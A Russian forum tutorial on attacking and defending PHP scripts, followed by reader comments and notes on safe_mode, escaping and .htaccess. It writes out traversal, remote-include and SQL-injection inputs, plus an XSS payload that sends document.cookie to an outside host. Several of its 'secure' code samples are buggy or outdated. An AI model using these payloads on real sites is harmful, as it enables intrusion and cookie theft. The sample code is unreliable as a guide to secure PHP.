Основные методы взлома и защиты скриптов на Php v1.2 By DIAgen for AntiChat Это вторая версия пособия, я решил переделать ее полностью, дополнить тем, что сам использую для написания скриптов. Однозначно можно сказать, что примеры в основном будут касаться защите, так как проще сломать, чем сделать. Простите меня, если в некоторых местах будут погрешности. "Хакеры - люди вполне порядочные, и занимаются взломом вовсе не для того, чтобы навредить кому-то. Чем раньше кто-то найдет уязвимость в вашей программе, тем скорее вы ее исправите, поэтому деятельность хакеров-профессионалов можно даже рассматривать как полезную." Имена файлов в URL Большинство скриптов используют вспомогательные файлы, которые должны быть загружены в зависимости от выполняемой операции. В большинстве случаев имена файлов фиксированные, но в некоторых случаях это не удобно. Для загрузки не фиксированных файлов используют GET переменные (полученные из форм браузера), которые содержат информацию для загрузки файлов. Включаемы файлы. Простейший пример PHP: $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default'; include "page/$p"; Обращение к скрипту выглядит так: .../index.php?p=news.php Уязвимость заключается в том, что можно прочитать произвольные файлы на сервере. .../index,php?p=../../../../../etc/passwd На данный момент etc/passwd предоставляет мало интереса, по сравнению со старыми версиями LUNIX, эту уязвимость можно применить для отображения .htaccess файлов, файлов конфигурации и т.д. Попытка защиты. PHP: $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default'; include "page/$p.php"; Это блокирует загрузку etc/passwd и .htaccess, но можно вызвать скрипт с параметром .../index.php?p=../index Вызовет зацикливание скрипта, так же можно подключить служебные файлы, расположенные в закрытой директории. Включаемые файлы: allow_url_fopen PHP: $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default'; chdir("page"); include "$p.php"; В этом скрипте возможно выполнение удаленного файла на сервере .../index.php?p=http://user.ru/load Не чего хорошего от этого ожидать не приходится, для того что бы запретить удаленный include файлов нужно указать в настройках php.ini allow_url_fopen=OFF, однако это блокирует fopen() и file_get_contents(). Методы разрешения. Во многих статьях написано, что рекомендуется использовать оператор switch, но использовать его не удобно по следующим причинам: при добавлении новой страницы придется редактировать index.php; пропустив случайно break, придется долго искать, в чем же ошибка. Наиболее рациональный способом является Ограничение набора символов, который жестко ограничивает диапазон символов, которые могут присутствовать в имени файла. PHP: $ras="php"; chdir("page"); $p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default'; $p=preg_replace('/[^a-z0-9_-]+/s','',$p); if(!@is_file("$p.$ras")) $p="error"; include "$p.$ext"; SQL-Injection Функции PHP для работы с базами данных далеки от совершенства, работая на прямую с ними, возможны ошибки, приводящие к появлению уязвимостей. Для примера возьмем такой код: PHP: $sql="DELETE FROM".TOPICS_TABLE." WHERE topic_id='$topic_id' OR topic_moved_id='$topic_id'"; if(!($result=$db->sql_query($sql))) { messge_die(GENERAL_ERROR, 'Error in deleting post', '',_LINE_,_FILE_,$sql); } Переменная $topic_id приходит из формы, если подставить index.php?topic_id=1’+OR+1!=’ В результате запроса превратится в такой вид: PHP: DELETE FROM php_topics WHERE topic_id='1' OR 1!='' OR topic_moved_id='1' OR 1!='' При выполнении скрипта, очисться вся таблица в базе данных. Значение переменных вставляется не в качестве данных, а в качестве участка sql-кода, который и будет затем выполнен. Предыдущий скрипт следует записать таким образом: PHP: $sql="DELETE FROM".TOPICS_TABLE." WHERE topic_id='".addslashes($topic_id)."' OR topic_moved_id='".addslashes($topic_id)."'"; if(!($result=$db->sql_query($sql))) { messge_die(GENERAL_ERROR, 'Error in deleting post', '',_LINE_,_FILE_,$sql); } Используя функцию addslashes(), которая экранирует символы «'». Недостатки magic_quotrs_gpc. Используя magic_quotrs_gpc все пришедшие переменные из формы, уже содержат слеши перед опасными символами( например «’» и «”»). PHP: <form action="<?=$_SERVER['SCRIPT_NAME']?>"> <input type="text" name="n" value="<?=@htmlspecialchars(stripslashes($_REQUESR['n']))?>"> <input type="submet"> </form> Допустим, что хостер выключил magic_quotrs_gpc, и отправив anti\’s мы получим anti’s, слеш потерялся из-за stripslashes(), отсюда следует делать проверку на вызов stripslashes(), если ключен magic_quotrs_gpc. Решение есть уже давно, вместо экранирования и вставки переменных в запрос на их место помещаются специальные маркеры, вот эти функции: PHP: function mysql_qw() { $args = func_get_args(); $conn = null; if (is_resource($args[0])) $conn = array_shift($args); $query = call_user_func_array("mysql_make_qw", $args); return $conn!==null? mysql_query($query, $conn) : mysql_query($query); } function mysql_make_qw() { $args = func_get_args(); $tmpl =& $args[0]; $tmpl = str_replace("%", "%%", $tmpl); $tmpl = str_replace("?", "%s", $tmpl); foreach ($args as $i=>$v) { if (!$i) continue; if (is_int($v)) continue; $args[$i] = "'".mysql_escape_string($v)."'"; } for ($i=$c=count($args)-1; $i<$c+20; $i++) $args[$i+1] = "UNKNOWN_PLACEHOLDER_$i"; return call_user_func_array("sprintf", $args); } Вот не большой пример. PHP: $name="' OR '1"; //Допустимы запрос echo mysql_make_qw('DELETE FROM people WHERE name=?', $name)."<br>" //Недопустимый запрос echo mysql_make_qw('DELETE FROM people WHERE name=? OR ?', $name)."<br>" mysql_qw('DELETE FROM people WHERE name=? OR ?', $name) or die(mysql_error()); В результате получим: PHP: DELETE FROM people WHERE name='\' OR \'1' DELETE FROM people WHERE name='\' OR \'1 OR id=UNKTNOWN_PLACEHOLDER_1 Unknow column 'UNKNOWM_PLACEHOLDER_1' in 'where clause' Теперь любая попытка выполнить такого вида запроса заранее обречена на не удачу. Кража SID Я не буду описывать использование SID, а сразу о проблеме. Если узнать SID другого пользователя, можно подставить его в Cookies или подставить в URL, а последствия можно представить. Случайное указание SID Сам владелец сессии может оставить ее в виде ссылки в форуме или в гостевой книге, из которой не удален SID.Зайдя по этой ссылки, становишься владельцем SID. Конечно SID удаляется, если пользователь не проявляет ни какой деятельности. Уязвимости в html-шаблонах Например возьмем гостевую книгу, сообщения записываются в файл, допустим что тест с файла выводится без htmlspecialchars(), добавив в гостевую книгу PHP: <script>window.open("http://snifer.ru/get.php?"+document.cookie,'new')</script> Благодаря этому можно получить Cookies других пользователей. Привязка Sid к IP-адресу Этот метод привязки к ip очень распространен PHP: $_SESSION['author']=true; $_SESSION[‘ip’]=$_SERVER['REMOTE_ADDR']; С крипт предоставляющий доступ к определенному ресурсу PHP: if(!empty($_SESSION['author'] && $SESSION['ip'] !=@SERVER ['REMOTE_ADDR'])) { //Доступ к ресурсу открыт } else die("Доступа нет"); Конечно и у этого метода есть свои недостатки. Противостоянии DoS-атакам Перейдем сразу к дела, просто про DoS-атаки можно найти везде. Мы рассмотрим как можно противостоять DoS-атакам. Ограничении ресурсов Элементарную DoS-атаку может случайно выполнить любой пользователь, если запустит скрипт содержащий ошибку, что может привести к зацикливанию скрипта или захвату ресурсов сервера. Для решения, можно применять в скриптах директивы, которые можно установить не только ini.php, но и в скрипте используя функцию ini_set(). set_memory_limit() memory_limit() Эти функции ограничивают максимальный объем памяти, который разрешено выделять скрипту. При превышение этого объема, скрипт принудительно завершается max_execution_time() set_time_limit() Ограничивают время работы сценария
DIAgen max_input_time Но честно говоря, заявленная тема не особенно раскрыта ))) Всё равно + за старание
Статью можно дополнить, матерьала много, это была пробная версии, если комуто это пригодится, я могу доделать, статья будет большая! Ну извеняюсь за ошибки, просто я ее писал на скорую руку, и орфография именя не очень! Сегодня доделаю и скину!
а не лучше всегда юзать intval($topic_id) ? тогда в скрипт вообще не попадут левые символы, при кривом запросе там будет 0.
Может и лучше, но я использую комбинированную функцию для проверки входных переменных: PHP: function check( $str, $maxchar = 30) { $str = htmlspecialchars($str); $str = substr( $str, 0, $maxchar ); $str = trim( $str ); $str = str_replace( "'", "", $str ); $str = str_replace( '"', "", $str ); $str = str_replace( "\n", "<BR>", $str ); return $str; }
Насчёт инклуда, еще вариант - Скрипту передаётся Id, и по Id делается выборка имени файла из БД, таким образом избегаем проблем и фильтруем уже Sql Inj, а не инклуд =) Так делаю я, если кому интересно могу пример скрипта дать.
Приемы безопасного программирования на Php Рассмотрим некоторые приемы и средства PHP, касающиеся безопасности. Здесь будут только некоторые моменты безопасности, так как все включить в одну статью не возможно. Я постарался все изложить кратко и доступно, я не включил сюда работу с register_global, работу с ошибками, и Basic авторизацию, так как это можно найти в любом учебнике по PHP. И такк начнем Safe_modeПрава доступа к файлам – обычно задачу пытаются решить следующими действами - Каждому клиенту заводится аккуант, т.е выдается пароль, логин и соответствующий ему числовой UID (User ID) - Аккуанту выдается отдельная домашняя директория, принадлежащая только указанному пользователю - Права на домашнюю директорию выставляются равными rw-------. При таких правах механизм Unix обеспечивают невозможность захода пользователя в чужую директорию. Будем считать что каждый пользователь хранит данные своего сайта в домашней директории. Apache – это процесс, запущенный от лица системного пользователя httpd (иногда nobody). При поступлении запроса к любому сайту он работает именно под этим пользователем, и не имеет возможности переключиться на владельца сайта (по крайней мере, в стандартной поставке). Таким образом, чтобы файлы клиентов были доступны на чтение и запись пользователю httpd: - устанавливать на директории более мягкие ограничения rwxrwx--- - входить в группу httpd, которой принадлежит и системный пользователь httpd В итоге Apache может читать файлы клиентов, однако возникают серьезные проблемы: - Каждый пользователь получает возможность манипулировать файлами чужого аккаунта. - Если PHP-скрипт запущенный Apache создает какой-то файл, то его владельцем становится не пользователь аккаунта, а httpd. - Права доступа на файлы должны, по крайней мере, разрешать чтение и запись для группы владельца файла, т.е для httpd, иначе PHP-скрипты не смогут нечего записывать в файлы, созданные пользователем в ручную. Директивы safe_mode В режиме safe_mode при открытии любого файла искусственно проверяет, имеет ли скрипт права это делать лил нет. С его точки зрения, файл можно прочитать, если его владелец (UID) совпадает с владельцем самого скрипта. Это порождает ужасную путаницу. Решение может дать директива: PHP: Safe_mide_gid = On Заставляет PHP проверять не UID, а GID файлов, т.к группа владельца аккаунта равна httpd, расщепление файлов на закаченные по FTP и созданные скриптом не проявится в фатальной форме. PHP: open_basedir = директория может задавать внутри того или иного виртуального хоста. Она говорит PHP, что ему запрещено работать с файлами вне указанного каталога. Однако ведь не только PHP имеет возможность работы с файлами: system(“echo hello>/home/usertwo/index.php”); PHP: safe_node_exec_dir = директория Она задает, из каких директорий запускать программы при помощи system(). Средство для запрета выполнения тех или иных функции PHP: PHP: disable_functionc = функ1, функ 2, ... Только механизмы OC могут обеспечить по-настоящему надежную и защищенную среду выполнения сценариев. Вставка форматирования в текстИспользование HtmlSpecialChars Первая задача, которая стоит перед программистом, решить ограничить допустимое форматирование сообщения, тем или иными способ удалить из него HTML-тэги. Казалось бы, в PHP для этого имеется специальная функция $test = strip_tags ($test); Такой способ, однако очень плох! Дело в том, что strip_tags() использует весьма примитивный алгоритм для вырезания тэгов, а потому в некоторых случаях ее можно обмануть. Единственно правильный и гарантированный способ удаления HTML-тэгов из сообщения погасить или экранировать их, так чтобы браузер не воспринимал боле текст, как содержащий тэги. Для этого достаточно выполнить следующие замены: & --> & < --> < > --> > После этого все тэги, имеющиеся в тексте, потеряют свой специальный смысл и превратятся в обычные символьные цепочки. Производит такую замену функция PHP HtmlSpecialChars() Разрешение ограниченного форматирования Как теперь разрешить к примеру, тэги <b>…</b> и <i>…</i> и запретить все остальные, это можно решить следующим образом $test = htmlspecialchars($text); $text = preg_replace (‘{<(/?(b|i))>}si’, ‘<$I>’, $test); BBCode Существует и другой прием разрешения ограниченного форматирования текста. Исторически он называется BBCode и заключается во вставке псевдотэгов в сообщение, которые в дальнейшем, уде после обработки htmlspecialchars() заменяются на нормальные HTML тэги. Директива .htaccessПриведу основные примеры которые могут помочь в безопасности Запрет на открытие произвольных файлов в данной директории PHP: deny from all Разрешить доступ к директории PHP: allow from all Запрет на выполнение PHP-скриптов в директории, в место этого будут показываться их содержание PHP: AddType application/x-httpd-php-sourse .php